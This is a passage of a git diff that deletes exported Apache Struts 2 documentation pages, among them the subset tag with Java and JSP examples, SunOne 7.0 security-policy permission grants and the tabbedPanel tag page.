-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14054">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14054">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14054">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>Please make sure you have read the <a shape="rect" href="tag-syntax.html">Tag Syntax</a> document and understand how tag attribute syntax works.</p></div></div>
-
-<h2 id="submit-Description">Description</h2>
-<p>Render a submit button. The submit tag is used together with the form tag to provide asynchronous form submissions.
-The submit can have three different types of rendering:
-</p><ul><li>input: renders as html &lt;input type="submit"...&gt;</li><li>image: renders as html &lt;input type="image"...&gt;</li><li>button: renders as html &lt;button type="submit"...&gt;</li></ul>
-Please note that the button type has advantages by adding the possibility to seperate the submitted value from the
-text shown on the button face, but has issues with Microsoft Internet Explorer at least up to 6.0
-
-<div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>To use method attribute (to use multiple submit buttons which direct to different action methods) you must set <strong>struts.enable.DynamicMethodInvocation</strong> to <strong>true</strong> but this can lead to <a shape="rect" class="external-link" href="http://www.brucephillips.name/blog/index.cfm/2011/2/19/Struts-2-Security-Vulnerability--Dynamic-Method-Invocation" rel="nofollow">security vulnerability</a> - use with care! Instead you can try to use <a shape="rect" href="multiple-s [...]
-
-<div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>This tag works with all themes, but has special importance when combined with the <a shape="rect" href="form.html">form</a> tag in the <a shape="rect" href="ajax-theme.html">ajax theme</a>. Please read up on the <a shape="rect" href="ajax-theme.html">ajax theme</a> for more information.</p></div></div>
-
-<h2 id="submit-Parameters">Parameters</h2>
-
-<p><table width="100%"><tr><td colspan="6" rowspan="1"><h4>Dynamic Attributes Allowed:</h4> true</td></tr><tr><td colspan="6" rowspan="1">&#160;</td></tr><tr><th align="left" colspan="1" rowspan="1" valign="top"><h4>Name</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Required</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Default</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Evaluated</h4></th><th align="left" colspan="1" rowsp [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/subset.html b/content/docs/subset.html
deleted file mode 100644
index 5174495..0000000
--- a/content/docs/subset.html
+++ /dev/null
@@ -1,250 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>subset</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="tag-reference.html">Tag Reference</a>&nbsp;&gt;&nbsp;<a href="generic-tag-reference.html">Generic Tag Reference</a>&nbsp;&gt;&nbsp;<a href="subset.html">subset</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">subset</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14071">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14071">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14071">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14071">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14071">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14071">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="subset-Description">Description</h2>
-
-<p><b>NOTE: JSP-TAG</b></p>
-
-<p></p><p>A tag that takes an iterator and outputs a subset of it. It delegates to
-org.apache.struts2.util.SubsetIteratorFilter internally to
-perform the subset functionality.</p>
-
-<h2 id="subset-Parameters">Parameters</h2>
-
-<p><table width="100%"><tr><td colspan="6" rowspan="1"><h4>Dynamic Attributes Allowed:</h4> false</td></tr><tr><td colspan="6" rowspan="1">&#160;</td></tr><tr><th align="left" colspan="1" rowspan="1" valign="top"><h4>Name</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Required</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Default</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Evaluated</h4></th><th align="left" colspan="1" rows [...]
-
-<h2 id="subset-Examples">Examples</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: java; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-public class MySubsetTagAction extends ActionSupport {
-     public String execute() throws Exception {
-        l = new ArrayList();
-        l.add(new Integer(1));
-        l.add(new Integer(2));
-        l.add(new Integer(3));
-        l.add(new Integer(4));
-        l.add(new Integer(5));
-        return &quot;done&quot;;
-     }
-
-
-     public Integer[] getMyArray() {
-        return a;
-     }
-
-     public List getMyList() {
-        return l;
-      }
-
-     public Decider getMyDecider() {
-     return new Decider() {
-         public boolean decide(Object element) throws Exception {
-             int i = ((Integer)element).intValue();
-             return (((i % 2) == 0)?true:false);
-         }
-     };
-     }
- }
-]]></script>
-</div></div>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-&lt;!-- s: List basic --&gt;
-   &lt;s:subset source=&quot;myList&quot;&gt;
-      &lt;s:iterator&gt;
-         &lt;s:property /&gt;
-      &lt;/s:iterator&gt;
-   &lt;/s:subset&gt;
-]]></script>
-</div></div>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-&lt;!-- B: List with count --&gt;
-   &lt;s:subset source=&quot;myList&quot; count=&quot;3&quot;&gt;
-      &lt;s:iterator&gt;
-          &lt;s:property /&gt;
-      &lt;/s:iterator&gt;
-    &lt;/s:subset&gt;
-]]></script>
-</div></div>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-&lt;!--  C: List with start --&gt;
-     &lt;s:subset source=&quot;myList&quot; count=&quot;13&quot; start=&quot;3&quot;&gt;
-        &lt;s:iterator&gt;
-          &lt;s:property /&gt;
-        &lt;/s:iterator&gt;
-     &lt;/s:subset&gt;
-]]></script>
-</div></div>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-&lt;!--  D: List with var --&gt;
-     &lt;s:subset var=&quot;mySubset&quot; source=&quot;myList&quot; count=&quot;13&quot; start=&quot;3&quot; /&gt;
-     &lt;%
-         Iterator i = (Iterator) pageContext.getAttribute(&quot;mySubset&quot;);
-         while(i.hasNext()) {
-     %&gt;
-     &lt;%=i.next() %&gt;
-     &lt;%  } %&gt;
-]]></script>
-</div></div>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-&lt;!--  D: List with Decider --&gt;
-    &lt;s:subset source=&quot;myList&quot; decider=&quot;myDecider&quot;&gt;
-           &lt;s:iterator&gt;
-                &lt;s:property /&gt;
-           &lt;/s:iterator&gt;
-    &lt;/s:subset&gt;
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/sunone-70.html b/content/docs/sunone-70.html
deleted file mode 100644
index 3f4c008..0000000
--- a/content/docs/sunone-70.html
+++ /dev/null
@@ -1,179 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>SunOne 7.0</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="application-servers.html">Application Servers</a>&nbsp;&gt;&nbsp;<a href="sunone-70.html">SunOne 7.0</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">SunOne 7.0</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13914">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13914">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13914">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13914">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13914">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13914">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-
-<p>To use SunOne wkith the framework, you will need to grant the appropriate permissions. You can simply grant all permissions, or just the specific permissions the framework needs.</p>
-
-<h2 id="SunOne7.0-GrantingAllPermissions">Granting All Permissions</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-grant {
-	permission java.security.AllPermission;
-};
-</pre>
-</div></div>
-
-<h2 id="SunOne7.0-GrantingSpecificPermissions">Granting Specific Permissions</h2>
-
-<ul class="alternate"><li>Grant Write Permissions to <code>java.util.PropertyPermission</code></li><li>Add <code>java.lang.reflect.ReflectPermission</code> "suppressAccessChecks"</li><li>Grant all permissions to <code>OgnlInvokePermission</code></li></ul>
-
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-grant {
-	permission java.util.PropertyPermission "*", "read, write";
-	permission java.lang.reflect.ReflectPermission "suppressAccessChecks";
-	permission ognl.OgnlInvokePermission "*";
-};
-</pre>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/tabbedpanel.html b/content/docs/tabbedpanel.html
deleted file mode 100644
index 28ceca9..0000000
--- a/content/docs/tabbedpanel.html
+++ /dev/null
@@ -1,170 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>tabbedPanel</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="tag-reference.html">Tag Reference</a>&nbsp;&gt;&nbsp;<a href="ui-tag-reference.html">UI Tag Reference</a>&nbsp;&gt;&nbsp;<a href="tabbedpanel.html">tabbedPanel</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">tabbedPanel</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14222">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14222">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14222">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14222">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14222">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14222">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-<div class="confluence-information-macro confluence-information-macro-warning"><span class="aui-icon aui-icon-small aui-iconfont-error confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>To use this tag:</p>
-<ul><li>Add: <em>&lt;%@ taglib prefix="sx" uri="/struts-dojo-tags" %&gt;</em> to your page.</li><li>The <a shape="rect" href="dojo-head.html">head</a> tag must be included on the page, which can be configured for performance or debugging purposes.</li><li>If the parseContent parameter for the <a shape="rect" href="dojo-head.html">head</a> tag is false (it is false by default), then the <strong>id</strong> tag is required.</li></ul>
-</div></div>
-<div class="confluence-information-macro confluence-information-macro-tip"><p class="title">Additional Examples</p><span class="aui-icon aui-icon-small aui-iconfont-approve confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>For more examples see <a shape="rect" href="ajax-and-javascript-recipes.html">Ajax and JavaScript Recipes</a></p></div></div>
-
-<h2 id="tabbedPanel-Description">Description</h2>
-<div class="error"><span class="error">Error formatting macro: snippet: java.lang.IndexOutOfBoundsException: Index: 20, Size: 20</span> </div>
-
-<h2 id="tabbedPanel-Parameters">Parameters</h2>
-<p><table width="100%"><tr><td colspan="6" rowspan="1"><h4>Dynamic Attributes Allowed:</h4> false</td></tr><tr><td colspan="6" rowspan="1">&#160;</td></tr><tr><th align="left" colspan="1" rowspan="1" valign="top"><h4>Name</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Required</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Default</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Evaluated</h4></th><th align="left" colspan="1" rows [...]
-
-<h2 id="tabbedPanel-Examples">Examples</h2>
-<p>The following is an example of a tabbedpanel and panel tag utilizing local and remote content:</p>
-<div class="error"><span class="error">Error formatting macro: snippet: java.lang.IndexOutOfBoundsException: Index: 20, Size: 20</span> </div>
-<p>Use notify topics to prevent a tab from being selected:</p>
-<div class="error"><span class="error">Error formatting macro: snippet: java.lang.IndexOutOfBoundsException: Index: 20, Size: 20</span> </div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/tabular-inputs-with-hashmap.html b/content/docs/tabular-inputs-with-hashmap.html
deleted file mode 100644
index 3557d3b..0000000
--- a/content/docs/tabular-inputs-with-hashmap.html
+++ /dev/null
@@ -1,268 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
